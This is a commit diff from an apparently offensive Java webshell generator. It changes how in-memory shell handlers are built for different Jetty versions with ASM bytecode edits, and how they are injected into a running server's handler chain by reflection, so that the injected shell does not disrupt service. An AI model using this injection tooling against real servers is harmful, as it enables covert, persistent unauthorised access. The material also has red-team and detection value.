Skip to content

Commit a642639

Browse files
committed
fix: wrong jetty handler will disrupt service
1 parent 749c978 commit a642639

File tree

7 files changed

+87
-4
lines changed

7 files changed

+87
-4
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/generator/processors/JettyHandlerPostProcessor.java

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import com.reajason.javaweb.GenerationException;
44
import com.reajason.javaweb.asm.ClassRenameUtils;
55
import com.reajason.javaweb.asm.ClassSuperClassUtils;
6+
import com.reajason.javaweb.asm.MethodUtils;
67
import com.reajason.javaweb.memshell.ServerFactory;
78
import com.reajason.javaweb.memshell.ShellType;
89
import com.reajason.javaweb.memshell.config.ShellConfig;
@@ -31,13 +32,23 @@ public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig she
3132
switch (serverVersion) {
3233
case "6":
3334
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
35+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
36+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
3437
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
3538
break;
3639
case "7+":
3740
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
41+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
42+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
43+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
3844
break;
3945
case "12":
4046
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
47+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
48+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
49+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
50+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
51+
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
4152
break;
4253
}
4354
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@ public void inject(Object server, Object handler) throws Exception {
5959
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
6060
return;
6161
}
62+
validateHandler(handler);
6263
setFieldValue(handler, "nextHandler", nextHandler);
6364
setFieldValue(handler, "_server", server);
6465

@@ -77,6 +78,20 @@ public void inject(Object server, Object handler) throws Exception {
7778
}
7879
}
7980

81+
public void validateHandler(Object shell) throws Exception {
82+
Class<?> handlerClass = shell.getClass().getSuperclass();
83+
Method rightHandleMethod = null;
84+
for (Method method : handlerClass.getMethods()) {
85+
if (method.getName().equals("handle")) {
86+
rightHandleMethod = method;
87+
}
88+
}
89+
shell.getClass().getMethod(
90+
"handle",
91+
rightHandleMethod.getParameterTypes()
92+
);
93+
}
94+
8095
@Override
8196
public String toString() {
8297
return msg;

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee10ContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -85,6 +85,6 @@ void test(String imageName, String shellType, String shellTool, Packers packer)
8585
ShellType.JAKARTA_HANDLER})
8686
void testProbeInject(String shellType) {
8787
String url = getUrl(container);
88-
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
88+
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
8989
}
9090
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee11ContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -86,6 +86,6 @@ void test(String imageName, String shellType, String shellTool, Packers packer)
8686
ShellType.JAKARTA_HANDLER})
8787
void testProbeInject(String shellType) {
8888
String url = getUrl(container);
89-
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
89+
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
9090
}
9191
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee8ContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -83,6 +83,6 @@ void test(String imageName, String shellType, String shellTool, Packers packer)
8383
ShellType.HANDLER,})
8484
void testProbeInject(String shellType) {
8585
String url = getUrl(container);
86-
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
86+
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
8787
}
8888
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty12ee9ContainerTest.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -85,6 +85,6 @@ void test(String imageName, String shellType, String shellTool, Packers packer)
8585
ShellType.JAKARTA_HANDLER})
8686
void testProbeInject(String shellType) {
8787
String url = getUrl(container);
88-
ShellAssertion.testProbeInject(url, Server.Jetty, "7+", shellType, Opcodes.V17);
88+
ShellAssertion.testProbeInject(url, Server.Jetty, "12", shellType, Opcodes.V17);
8989
}
9090
}
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import org.objectweb.asm.*;
4+
5+
/**
6+
* @author ReaJason
7+
* @since 2025/12/7
8+
*/
9+
public class MethodUtils {
10+
11+
public static byte[] removeMethod(byte[] bytes, String methodName) {
12+
ClassReader cr = new ClassReader(bytes);
13+
ClassWriter cw = new ClassWriter(0);
14+
RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName);
15+
cr.accept(adapter, 0);
16+
return cw.toByteArray();
17+
}
18+
19+
public static byte[] removeMethodByMethodDescriptor(byte[] bytes, String methodName, String methodDescriptor) {
20+
ClassReader cr = new ClassReader(bytes);
21+
ClassWriter cw = new ClassWriter(0);
22+
RemoveMethodAdapter adapter = new RemoveMethodAdapter(cw, methodName, methodDescriptor);
23+
cr.accept(adapter, 0);
24+
return cw.toByteArray();
25+
}
26+
27+
static class RemoveMethodAdapter extends ClassVisitor {
28+
private String methodName;
29+
private String methodDescriptor;
30+
31+
public RemoveMethodAdapter(ClassVisitor cv, String methodName) {
32+
super(Opcodes.ASM9, cv);
33+
this.methodName = methodName;
34+
}
35+
36+
public RemoveMethodAdapter(ClassVisitor cv, String methodName, String methodDescriptor) {
37+
super(Opcodes.ASM9, cv);
38+
this.methodName = methodName;
39+
this.methodDescriptor = methodDescriptor;
40+
}
41+
42+
@Override
43+
public MethodVisitor visitMethod(
44+
int access, String name, String descriptor,
45+
String signature, String[] exceptions) {
46+
if (methodDescriptor != null) {
47+
if (methodDescriptor.equals(descriptor) && methodName.equals(name)) {
48+
return null;
49+
}
50+
} else if (methodName.equals(name)) {
51+
return null;
52+
}
53+
return super.visitMethod(access, name, descriptor, signature, exceptions);
54+
}
55+
}
56+
57+
}

0 commit comments

Comments
 (0)